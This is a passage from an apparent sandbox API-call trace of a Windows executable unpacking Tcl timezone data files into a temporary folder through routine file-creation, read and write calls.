(hObject=0x10c) returned 1 [0038.293] GetLastError () returned 0x0 [0038.293] SetLastError (dwErrCode=0x0) [0038.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.293] GetFileType (hFile=0x10c) returned 0x1 [0038.293] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.293] CloseHandle (hObject=0x10c) returned 1 [0038.293] GetLastError () returned 0x0 [0038.293] SetLastError (dwErrCode=0x0) [0038.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.294] GetFileType (hFile=0x10c) returned 0x1 [0038.294] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.294] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.294] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.294] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.294] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.294] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.294] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.294] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.294] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.294] CloseHandle (hObject=0x10c) returned 1 [0038.294] GetLastError () returned 0x0 [0038.294] SetLastError (dwErrCode=0x0) [0038.294] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi") returned 71 [0038.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\nairobi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.294] GetLastError () returned 0x2 [0038.294] SetLastError (dwErrCode=0x2) [0038.294] GetLastError () returned 0x2 [0038.294] SetLastError (dwErrCode=0x2) [0038.294] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi", lpFilePart=0x0) returned 0x46 [0038.294] GetLastError () returned 0x2 [0038.294] SetLastError (dwErrCode=0x2) [0038.294] GetLastError () returned 0x2 [0038.294] SetLastError (dwErrCode=0x2) [0038.294] GetLastError () returned 0x2 [0038.294] SetLastError (dwErrCode=0x2) [0038.295] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi") returned 71 [0038.295] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.295] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nairobi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\nairobi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.295] GetFileType (hFile=0x10c) returned 0x1 [0038.295] htonl (hostlong=0xea000000) returned 0xea [0038.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.295] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xea, lpOverlapped=0x0) returned 1 [0038.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.296] CloseHandle (hObject=0x10c) returned 1 [0038.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.297] htonl (hostlong=0x30000000) returned 0x30 [0038.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.297] GetFileType (hFile=0x10c) returned 0x1 [0038.297] htonl (hostlong=0x275d5800) returned 0x585d27 [0038.297] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0d27, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.297] htonl (hostlong=0xa1000000) returned 0xa1 [0038.297] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa1) returned 0x5446d0 [0038.297] htonl (hostlong=0xa1000000) returned 0xa1 [0038.297] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.297] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.297] htonl (hostlong=0xc8000000) returned 0xc8 [0038.297] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc8) returned 0x550600 [0038.297] htonl (hostlong=0xa1000000) returned 0xa1 [0038.297] htonl (hostlong=0xc8000000) returned 0xc8 [0038.297] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.297] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.297] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5446d0 | out: hHeap=0x530000) returned 1 [0038.297] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.297] CloseHandle (hObject=0x10c) returned 1 [0038.297] GetLastError () returned 0x0 [0038.297] SetLastError (dwErrCode=0x0) [0038.297] GetLastError () returned 0x0 [0038.297] SetLastError (dwErrCode=0x0) [0038.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.298] GetFileType (hFile=0x10c) returned 0x1 [0038.298] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.298] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.298] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.298] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.298] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.298] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.298] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.298] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.298] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.298] CloseHandle (hObject=0x10c) returned 1 [0038.298] GetLastError () returned 0x0 [0038.298] SetLastError (dwErrCode=0x0) [0038.298] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.299] GetFileType (hFile=0x10c) returned 0x1 [0038.299] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.299] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.299] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.299] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.299] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.299] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.299] CloseHandle (hObject=0x10c) returned 1 [0038.299] GetLastError () returned 0x0 [0038.299] SetLastError (dwErrCode=0x0) [0038.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.299] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.299] GetFileType (hFile=0x10c) returned 0x1 [0038.299] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.299] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.299] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.299] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.299] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.300] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.300] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.300] CloseHandle (hObject=0x10c) returned 1 [0038.300] GetLastError () returned 0x0 [0038.300] SetLastError (dwErrCode=0x0) [0038.300] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena") returned 72 [0038.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ndjamena"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.300] GetLastError () returned 0x2 [0038.300] SetLastError (dwErrCode=0x2) [0038.300] GetLastError () returned 0x2 [0038.300] SetLastError (dwErrCode=0x2) [0038.300] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena", lpFilePart=0x0) returned 0x47 [0038.300] GetLastError () returned 0x2 [0038.300] SetLastError (dwErrCode=0x2) [0038.300] GetLastError () returned 0x2 [0038.300] SetLastError (dwErrCode=0x2) [0038.300] GetLastError () returned 0x2 [0038.300] SetLastError (dwErrCode=0x2) [0038.300] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena") returned 72 [0038.300] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ndjamena" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ndjamena"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.301] GetFileType (hFile=0x10c) returned 0x1 [0038.301] htonl (hostlong=0xc8000000) returned 0xc8 [0038.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.301] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc8, lpOverlapped=0x0) returned 1 [0038.308] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.309] CloseHandle (hObject=0x10c) returned 1 [0038.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.310] htonl (hostlong=0x30000000) returned 0x30 [0038.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.310] GetFileType (hFile=0x10c) returned 0x1 [0038.310] htonl (hostlong=0xc85d5800) returned 0x585dc8 [0038.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0dc8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.310] htonl (hostlong=0x9c000000) returned 0x9c [0038.310] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9c) returned 0x55cfe0 [0038.310] htonl (hostlong=0x9c000000) returned 0x9c [0038.310] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.310] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.310] htonl (hostlong=0xc5000000) returned 0xc5 [0038.310] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc5) returned 0x550600 [0038.310] htonl (hostlong=0x9c000000) returned 0x9c [0038.310] htonl (hostlong=0xc5000000) returned 0xc5 [0038.310] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.310] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.310] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.310] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.310] CloseHandle (hObject=0x10c) returned 1 [0038.310] GetLastError () returned 0x0 [0038.310] SetLastError (dwErrCode=0x0) [0038.310] GetLastError () returned 0x0 [0038.311] SetLastError (dwErrCode=0x0) [0038.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.311] GetFileType (hFile=0x10c) returned 0x1 [0038.311] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.311] CloseHandle (hObject=0x10c) returned 1 [0038.311] GetLastError () returned 0x0 [0038.311] SetLastError (dwErrCode=0x0) [0038.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.311] GetFileType (hFile=0x10c) returned 0x1 [0038.311] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 